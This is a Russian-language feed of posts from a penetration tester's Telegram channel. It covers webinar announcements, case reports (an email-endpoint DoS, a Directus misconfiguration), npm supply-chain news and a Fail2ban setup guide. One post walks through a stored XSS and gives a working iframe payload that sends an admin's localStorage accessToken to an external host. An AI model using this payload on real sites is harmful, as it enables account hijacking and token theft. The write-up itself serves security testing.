Пентестер на мотоцикле

🔊 Вскрываем периметр по-крупному

Последние пару недель РАД КОП много говорит про гигиену внешнего периметра и самостоятельную самопроверку. Чек-листы полезны, однако понимание того, как именно вас видит атакующий, выводит анализ на другой уровень.

Поэтому зову вас на вебинар "Техническая разведка: как самостоятельно собрать информацию о своей внешней инфраструктуре".

5 марта в 16:00 МСК
Спикер: Филимонов Кирилл (CuriV), Тимлид круга пентестеров РАД КОП.

▎ Почему стоит прийти
➡️Разберём 10 техник пассивной разведки
➡️Покажем на живом примере (инфраструктура РАД КОП), что видит атакующий до того, как вы заметите вторжение
➡️Отдадим чек-лист для самостоятельной проверки периметра
➡️Ответим на вопросы в прямом эфире

▎ Кому будет полезно
➡️Техническим специалистам
➡️Руководителям ИТ / ИБ-отделов
➡️Топ-менеджерам
➡️Всем, кому не безразлична информационная безопасность своих компаний

Если вы хотите трезво понимать, сколько информации о вашей инфраструктуре уже доступно извне, то приходите!

🔗 Ссылка на Telegram пост РАД КОП
🔗 Ссылка на регистрацию на вебинар

Представьте: в углу офиса мирно стоит принтер, печатает отчёты… а в это время через него кто-то получает учётки сотрудников и заходит во внутреннюю сеть компании.

Звучит неприятно? Ещё бы.

В своей новой статье разобрал, почему устройства печати становятся удобной точкой входа для злоумышленников: стандартные пароли, утечки учётных данных через SNMP, pass-back-атаки и другие типовые векторы.

В материале:
— реальные CVE;
— скриншоты атак;
— практические меры защиты, которые можно внедрить уже сейчас.

🖋 Читать статью:
https://radcop.online/blog/articles/vzlomat-cherez-printer

🤨 Документация из хаоса

Инструмент был написан в рамках стажировки Digital Security автором boysmail и решает простую, но очень практичную задачу: создаёт OpenAPI JSON прямо из трафика в Burp Proxy и позволяет сразу открыть его в локальном Swagger UI.

Это поможет сэкономить кучу времени, когда нужно быстро собрать документацию по API во время пентеста.

▎ Что умеет Burp2Swagger
➡️Поддержка нескольких доменов
➡️Корректная обработка file upload (form-data)
➡️Поддержка Basic и Bearer авторизации в каждом JSON
➡️Автоматическое добавление примеров параметров из перехваченных запросов
➡️Локальный Swagger UI на localhost:8090
➡️Bypass CORS для локального Swagger
➡️Добавление доменов прямо из Site Map Burp

🔗 Ссылка на репозиторий GitHub

Нет документации? Соберём сами.

#материал

Маленькое пополнение в нашей семье☺️

Теперь у меня свой блэчер, бойтесь

😈 Регистрация — оружие массового поражения

Недавно на финтех-проекте во время тестирования аутентификации обнаружился неожиданный вектор деградации сервиса.

API-эндпоинт /send_email отвечал за отправку писем на этапе регистрации для подтверждения электронной почты. Однако серия запросов подряд приводила к остановке личного кабинета: приложение переставало отвечать на 5-10 минут, сервис становился недоступен для всех пользователей.

Достаточно было 15-20 последовательных запросов с одного IP-адреса с минимальной задержкой, чтобы полностью нарушить доступность. Предположительно, письма отправлялись синхронно без очереди, что приводило к блокировке worker-пула и зависанию на SMTP. В результате обычный функционал отправки письма превратился в примитивный DoS всего сервиса.

▎ Риски
➡️Нарушение доступности сервиса
➡️Возможность эксплуатации любым неаутентифицированным пользователем
➡️Падение рейтинга домена и попадание писем в "спам"
➡️Репутационные потери
➡️Потенциальный финансовый ущерб

▎ Рекомендации по устранению уязвимости
✅Ввести лимиты на частоту запросов с адаптивной логикой и проверкой на ботов (IP, email, устройство)
✅Ограничить частоту вызова критичных эндпоинтов аутентификации (регистрация, подтверждение, сброс пароля)
✅Перевести отправку писем в асинхронную очередь с контролем нагрузки
✅Исключить синхронные SMTP-вызовы внутри HTTP-запроса
✅Изолировать сервис отправки писем от ядра аутентификации
✅Обеспечить контролируемую деградацию и корректные ошибки при перегрузке
✅Настроить мониторинг очередей и времени обработки email-запросов

Главное, чтобы письма не только отправлялись, но и не убивали сервер.

#кейс

🎉 С НОВЫМ ГОДОМ!

Пусть в 2026 году ваши эксплойты будут стабильными, ложных срабатываний на минимуме, находки жирными, а клиенты адекватными!

Главное, чтобы работа приносила радость и драйв, а после рабочего дня вас ждали уют, близкие и вкусный чай (или что покрепче). С новым годом, коллеги!✨

🗣 Всем привет!

Пришло время подводить итоги года канала "Пентестер на мотоцикле"!

В этом мне сильно помог бот TGStat. Если хотите такую же статистику для своего канала, то отправьте боту @TGStat_Bot сообщение типа "2025 @username".

От себя добавлю: 2025 год оказался переломным в моей жизни: крутая карьера и хоть какая-то начальная известность в своих кругах. Много экспериментов, роста и правильных поворотов. Дальше — больше.

Всех с наступающим!

Классный опыт)
Получилось рассказать доклад даже лучше, чем я ожидал.
Видео доклада опубликую сюда сразу, как будет у меня на руках.

// Спасибо Серёже (Похек) за эту фотку😁

🔊 Спикерим

4 декабря пройдёт Ежегодная аналитическая конференция "КОД ИБ | ИТОГИ 2025", в которой я буду принимать участие в качестве спикера.

Приду с темой "Цена лишнего факта: как неосознанные утечки бьют по прибыли", чтобы обратить внимание на скрытые риски, с которыми бизнес сталкивается каждый день, часто даже не замечая их.

Разберём, почему такие мелочи стоят бизнесу реальных денег и как не допустить утечек, которые открывают злоумышленникам дверь во внутрь.

Если будете на конференции — буду рад с вами встретиться и пообщаться)

🎉 Не утекаем, а празднуем

Коллеги, всех с международным днем защиты информации!
Желаю всем крепких паролей и спокойной инфраструктуры.

🎉 Первый годик!

Ровно год назад, 29 ноября 2024 года, появился канал "Пентестер на мотоцикле", и благодаря вам он продолжает расти! Ваш интерес это лучший стимул двигаться дальше, писать больше и делиться полезным!

Спасибо каждому за подписку, активность и поддержку — именно вы делаете этот проект живым.

Дальше только интереснее! 🏍

😈 Нашёл 0-day... почти

Недавно на проекте по пентесту было обнаружено уязвимое коробочное решение Directus v9.23.3.

Directus — это open‑source платформа для управления данными, которая превращает любую SQL‑базу в headless CMS, предоставляя автоматическую REST и GraphQL API и удобный веб-интерфейс для управления контентом.

С таким ПО я столкнулся впервые, поэтому принялся ресёрчить все возможные там API-эндпоинты, файловую структуру и искать уже известные уязвимости (CVE).

Первым делом встала задача определить версию Directus. Немного покопавшись в интернете, обнаружился эндпоинт, раскрывающий версию ПО в одной из констант JS-файла по пути "/admin/assets/...js":

const jN="9.23.3"

Это позволило отсортировать все CVE под данную версию.

Уязвимостей было обнаружено полно, но в рамках этого поста хочу акцентировать внимание на ключевой, которую обнаружил сам, — загрузка любых файлов в админскую Библиотеку файлов без аутентификации + раскрытие списка файлов на эндпоинте /files. Получить доступ к любому файлу можно, зная его ID. После загрузки файлу автоматически присваивается идентификатор, и он становится доступен по публичному URL вида /assets/<ID>.

▎ Риски:
➡️Загрузка вредоносного ПО. Злоумышленник может поместить исполняемые файлы или скрипты, что при их запуске приведет к компрометации системы;
➡️Фишинговые атаки от имени компании с помощью публичных ссылок /assets/<ID>;
➡️Доступны все файлы в "Библиотеке файлов" без аутентификации: невозможность конфиденциально хранить документы и прочую чувствительную информацию для компании;
➡️А также другие риски в имеющихся уязвимостях, речи о которых в данном посте нет.

▎ Рекомендации по устранению уязвимостей:
✅Ограничить публичный доступ к конечной точки загрузки файлов — требовать аутентификацию и авторизацию для загрузок;
✅Валидировать содержимое файлы по проверке сигнатуры (MIME, magic bytes);
✅Ограничить типы и расширения файлов. Явно запрещать исполняемые форматы (например, .exe, .bat, .sh, .php и т.п.) и другие нежелательные форматы. Разрешать строго только необходимых типов по белому списку;
✅Закрыть доступ к конечной точке /files для неавторизованных пользователей;
✅Обновить версию Directus — решит множество проблем разом.

▎ Для пентестеров, обнаруживших Directus в проде:
➡️1) Первым делом определите версию ПО;
➡️2) С имеющейся версией пробуйте эксплуатировать ряд CVEшек. Ссылки на списки оставил в конце поста;
➡️3) Обязательно проверьте наличие GraphQL со включённой интроспекцией. Мне также попались alias flood, мутация без аутентификации и т.д.

Часть уязвимостей в списках CVE эксплуатируется только при наличии сессии — это отличный кейс для серого ящика. На этом проекте я как раз работал по методикам чёрного и серого ящика.

UPD. Оказывается, это не уязвимость в самой коробке, а просто мисконфиг на проекте, допускающий загрузку файлов без аутентификации.

🔗 Ссылка на список CVE Directus в Snyk
🔗 Ссылка на список CVE Directus в GitHub
🔗 Ссылка на список CVE Directus в GitLab

#кейс #материал

HTML Injection → Stored XSS → Hijack accessToken

Во время анализа одного из веб-приложений наткнулся на поле, которое обрабатывает ввод без должной фильтрации.

Примечение: cервис фильтрует <script> теги, поэтому XSS реализован с обходом — без явного использования скриптовых тегов.

Решил проверить — вставил простой HTML:

<h1>Test</h1>    <!-- изменение размера шрифта -->

Текст стал крупнее — значит innerHTML или подобная конструкция.

Далее потестировал теги:

<img src="x">    <!-- битая картинка -->
<input>          <!-- лишний input на странице -->

Браузер создал элементы прямо в DOM. Очевидный признак HTML Injection, причём без CSP и фильтров. Поле сохраняется в базу ➡️ отображается в админке ➡️ возникает вопрос: можно ли это раскрутить до XSS?

➡️ Рабочий XSS-пэйлоад:

<iframe src="javascript:alert(localStorage.accessToken)"></iframe>

В данном случае он читает токен из localStorage и вызывает alert() с его значением.
Минус: работает не во всех браузерах и часто режется CSP, но в слабозащищённых фронтах может быть отличной стартовой точкой.

➡️ Эскалация XSS:

<iframe src="javascript:fetch('//your.interact.sh?token=' + localStorage.accessToken)"></iframe>

Пэйлоад делает внешний запрос на ваш сервер (например, Interactsh), передавая туда значение токена. Вместо всплывающего окна (alert) вы сразу получаете лог токена.
Важно: поле, в которое внедряется нагрузка, сохраняется в базе данных и отображается в административной панели. Это означает, что код выполняется от лица администратора при просмотре, что приводит к краже его токена и потенциальному захвату аккаунта.

➡️ Особенность уязвимости теги:

🔴Инъекция сохраняется в БД (Stored)
🔴Отрабатывает на стороне администратора
🔴Через XSS читается accessToken из localStorage

➡️ Что это даёт:

🔴

Захват токена администратора

🔴

Возможность делать запросы от его имени

🔴

Потенциальный full access к admin-панели

➡️ Советы для тестирования:

🔴

Ищите HTML-теги, которые влияют на DOM (текст, форма, медиа)

🔴

Проверяйте innerHTML, outerHTML, dangerouslySetInnerHTML в React

🔴

Тестируйте на img, input, iframe, svg, math, script и template

🔴

Не ограничивайтесь alert(1), пробуйте localStorage, fetch, document.cookie, navigator, location

🔴

Используйте Interactsh, Burp Collaborator, xsshunter для подтверждения уязвимости

📕 Готовимся к изучению докладов

Zeronights подогревает интерес! Стартовала публикация докладов программы на 2025 год.

Напоминаю, что организаторы выкатывают описания выступлений с двух ключевых треков: Offensive и SecOps.

▎ Лично мне бы первым делом хотелось послушать доклады про веб и внешнюю инфру в целом:
➡️"Когда весь периметр — одна страница: критические уязвимости на простых сайтах";
➡️"Что в дашборде твоём? Я просто хотел посмотреть метрики…";
➡️"Вредоносные расширения: как ваш браузер работает на атакующего".

🔗 Ссылка на полный список докладов Zeronights

🤨 Дождались!

Больше года с нетерпением ожидал новый список топовых уязвимостей от OWASP. Для веба они выходят раз в 3-4 года, начиная с 2003 года. В рейтинге десяти самых распространённых за 2025 год появились две новые категории и одна консолидированная. Список предварительный (кандидат), окончательный будет чуть позже.

▎ Новые топовые уязвимости:
➡️A03:2025 — Ошибки в цепочке поставок ПО (Software Supply Chain Failures). Расширяет прежний пункт Vulnerable and Outdated Components и охватывает компрометации на всех этапах экосистемы разработки: зависимости, системы сборки и инфраструктуру распространения;
➡️A10:2025 — Неправильная обработка исключительных условий (Mishandling of Exceptional Conditions). Новая категория, включающая 24 типа уязвимостей, связанных с неправильной обработкой ошибок, логическими сбоями, "fail-open" сценариями и другими ситуациями, возникающими при аномальных условиях работы системы.

▎ Что это значит для пентестеров и разработчиков?
➡️Цепочки поставок становятся главным вектором атак. Теперь уязвимость может прийти не из кода, а из зависимостей и CI/CD;
➡️Ошибки обработки исключений — напоминание, что даже простая 500-ая ошибка может стоить дорого, если логика не защищена.

Распространите новый топ OWASP.
И да, ИБ спецы, с проф праздником вас!

UPD. Это кандидат на окончательное утверждение топа.

🔗 Ссылка на OWASP top 10 2025

💻 Уже не мышь, а крыса

Исследователи из Калифорнийского университета в Ирвайне представили атаку Mic-E-Mouse, которая позволяет превратить обычную геймерскую мышь в инструмент подслушивания.

Суть атаки в том, что движения и вибрации поверхности, считываемые сенсором мыши, могут быть преобразованы в звуковые колебания. Устройство начинает фиксировать микровибрации, создаваемые речью пользователя, фактически работая как грубый микрофон.
Поначалу полученный сигнал имеет низкое качество, но исследователи применили последовательную обработку данных и алгоритмы машинного обучения, чтобы очистить шум и восстановить разборчивую речь.

Для эксперимента использовались стандартная мышь и открытые наборы речевых данных VCTK и AudioMNIST. Команда добилась увеличения отношения сигнал/шум на 19 дБ, улучшила точность автоматического распознавания говорящего на 80%, а в тестах с людьми коэффициент ошибок составил 16,79% — результат, достаточный для различимого восприятия речи.

По мнению исследователей, наибольший риск представляют мыши с сенсорами 20000 DPI и выше. В качестве целей особенно уязвимы видеоигры и другое производительное ПО: там внедрение эксплойта можно замаскировать под сетевую активность игры, не вызывая подозрений.

#новость

💻 Письмо счастья

8 сентября 2025 года Aikido Security сообщила о крупнейшей supply-chain атаке на JavaScript. Всё началось с фишингового письма: злоумышленники угнали аккаунт мейнтейнера npm и выложили заражённые версии 18 ключевых пакетов. Суммарно их скачивают более 2,6 млрд раз в неделю.

Вредоносный код срабатывал только в браузере и перехватывал Web3-трафик.

▎ Что делал вредонос:
➡️Встраивался в fetch и XMLHttpRequest;
➡️Подменял адреса кошельков в sendTransaction, approve, transfer;
➡️Использовал схожие адреса для незаметной подмены;
➡️Манипулировал параметрами транзакций прямо на этапе подписи.

Иными словами — крипто-клиппер прямо внутри зависимостей, которые стоят почти в каждом проекте.

▎ Список подтверждённых заражённых версий:
➡️ansi-styles@6.2.2
➡️debug@4.4.2
➡️chalk@5.6.1
➡️supports-color@10.2.1
➡️strip-ansi@7.1.1
➡️ansi-regex@6.2.1
➡️wrap-ansi@9.0.1
➡️color-convert@3.1.1
➡️color-name@2.0.1
➡️is-arrayish@0.3.3
➡️slice-ansi@7.1.1
➡️color@5.0.1
➡️color-string@2.1.1
➡️simple-swizzle@0.2.3
➡️supports-hyperlinks@4.1.1
➡️has-ansi@6.0.1
➡️chalk-template@1.1.1
➡️backslash@0.2.1
➡️error-ex@1.3.3

▎ Что делать разработчикам прямо сейчас:
✅Проверить package-lock.json, yarn.lock, pnpm-lock.yaml на наличие заражённых версий;
✅Удалить их из дерева зависимостей и пересобрать проект;
✅Очистить кэш пакета;
✅Переустановить зависимости с нуля и заново зафиксировать версии;
✅Пересобрать фронтенд-бандлы, инвалидировать CDN/кэши;
✅Проверить логи на внешние запросы из бандла;
✅Ротировать ключи/токены и усилить 2FA в npm.

Даже одно фишинговое письмо способно обернуться катастрофой для всей экосистемы.

Не ведитесь на фишинги!

#новость

🤨 Крыса!

Несколько дней подряд мой сервер обстреливали запросами с разных IP. Узнал я об этом совершенно случайно, когда зашёл через SSH по другой причине и решил посмотреть логи. И тут я просто выпал.

Какой-то упёртый товарищ через веб-страницу долбил админку одного сервиса из трёх букв (название опустим, но суть поняли), пытаясь перебрать логины и пароли. Причём без капли стеснения он это делал с 30 запросами в секунду (108к запросов в час). Продолжалось это без остановки с 28 августа 04:09:44 по 2 сентября 12:33:35, а далее затишье.

Я сразу решил, что так оставлять нельзя. Вечером того же дня поставил Fail2ban, прописал фильтр и подключил его к логам. И, как по заказу, атакующий снова вылез 2-го сентября в 23:07:56. Но на этот раз всё закончилось для него быстро и печально. Даже секунды не прошло, как IPS повязал ему ручонки (см. скриншот). Ну и я подумал, что из этого можно было бы выкатить простой гайд по установке и настройке Fail2ban.

Fail2Ban – программа для защиты серверов от атак методом грубой силы.

Если кому интересно, как настроить Fail2ban в пару кликов под X-UI (как в моём случае), держите гайд.

➡️1) Обновляем пакеты

sudo apt update

➡️2) Устанавливаем Fail2ban

sudo apt install fail2ban -y

➡️3) Проверяем установку — должно выдать версию Fail2ban

fail2ban-client --version

➡️4) Запускаем сервис и смотрим статус

sudo systemctl enable --now fail2ban

sudo systemctl status fail2ban

➡️5) Fail2ban будет смотреть логи и искать неудачные попытки входа по фильтру. Создаем фильтр в "/etc/fail2ban/filter.d/x-ui.conf"

[Definition]
failregex = WARNING - wrong username: ".*", password: ".*", secret: ".*", IP: "<HOST>"
ignoreregex =

Вставляем как есть, ничего менять не надо.

➡️6) Создаём или редактируем "/etc/fail2ban/jail.local"

[x-ui]
enabled = true
filter = x-ui
logpath = /var/log/kern.log
maxretry = 5
findtime = 600
bantime = 3600
action = iptables[name=x-ui, port=PORT, protocol=tcp]
ignoreip = 127.0.0.1/8 YOUR_IP YOUR_VPN_IP

Пояснение:

logpath — файл с логами, куда пишутся предупреждения о неверно введённом логине/пароле.
port=PORT — сетевой порт, к которому будет применяться правило блокировки IP через iptables. Здесь ставьте порт, на котором открывается форма авторизации в личный кабинет X-UI.
maxretry = 5 — после 5+ провальных попыток выдаётся бан.
findtime = 600 — считаем попытки за 10 минут.
bantime = 3600 — бан на 1 час.
ignoreip — добавляем сюда свой IP и VPN, чтобы случайно не заблокироваться.

➡️7) Перезагружаем службу Fail2ban

sudo systemctl restart fail2ban

➡️8) Смотрим статус Fail2ban. Если запущен, значит ошибок нет и всё работает. Радуемся жизни

sudo systemctl status fail2ban

Теперь можно отслеживать статус Fail2ban, в котором в том числе пишется количество блокировок и какие именно IP-адреса были заблокированы:

sudo fail2ban-client status x-ui

Защищайте свои сервера и будьте здоровы! 😉

И не забудьте перевернуть календарь.

Как защитить бизнес от хакеров, шифровальщиков, утечек и потери работоспособности

3 сентября специалисты по анализу защищенности РАД КОП расскажут об информационной безопасности на примерах распространённых уязвимостей из собственной практики пентестов (или, как принято говорить в отечественных стандартах, тестирования на проникновение).

🎙 Вебинар пройдет в формате диалога, будет наполнен практическими кейсами и инсайтами.

Вебинар поможет заинтересованным участникам найти свой ответ на вопрос: зачем нужна информационная безопасность, как устроены распространенные хакерские атаки и что можно сделать, чтобы не пополнить ряды тех, кто был «зашифрован», столкнулся с утечкой персональных данных клиентов или привлек внимание правоохранительных органов.

↕️Что обсудим:

— Краткий ликбез по ключевым терминам, ИТ и ИБ концепциям, которые определяют контекст хакерских атак и их последствий для собственников, государства, пользователей/клиентов/сотрудников;
— Уязвимости API и логики работы веб-приложений, которые статистически часто лежат в основе успешных атак и приводят к утечкам данных, нарушениям работоспособности организаций;
— Социальную инженерию, сценарии которой задействованы в половине корпоративных атак, включая целевой фишинг и мошенничество с установлением физического контакта с жертвой;
— Защищённость внутреннего периметра: локальная сеть и инфраструктура организации, которые могут быть недоступны извне, и в атаках на которые часто играют свою роль инсайдеры и безалаберные сотрудники с удаленным доступом;
— Первопричины и риски, которые стоят за этими уязвимостями, как через подход «люди-процессы-технологии» можно приоритезировать соответствующие задачи, и в чем сходство управления уязвимостями и тайм-менеджмента.

⚙️ Вы научитесь:

— Базовым терминам и ключевым концепциям ИТ и ИБ необходимым для понимания проблематики компьютерных атак;
— Распознавать ключевые уязвимости и их первопричины;
— Оценивать риски, которые несут конкретные сценарии атак;
— Выстраивать внутренние процессы, чтобы снизить уязвимость и повысить устойчивость.

🤝 Кому полезен вебинар:

Техническим специалистам блоков ИТ и ИБ, топ-менеджменту и собственникам организаций, иным лицам интересующимся в информационной безопасности, которые хотят лучше разбираться в проблематике хакерских атак, рисков, в сценариях нападения и методологии выстраивания защиты через приоритезацию и управление.

Дата и время: 3 сентября 17.00

Ссылка для регистрации — https://my.mts-link.ru/j/tmliga/2728011485

Присоединяйтесь, если готовы трансформировать проблемы в преимущества ваших организаций вместе с РАД КОП 🤝

#Вебинар #Пентест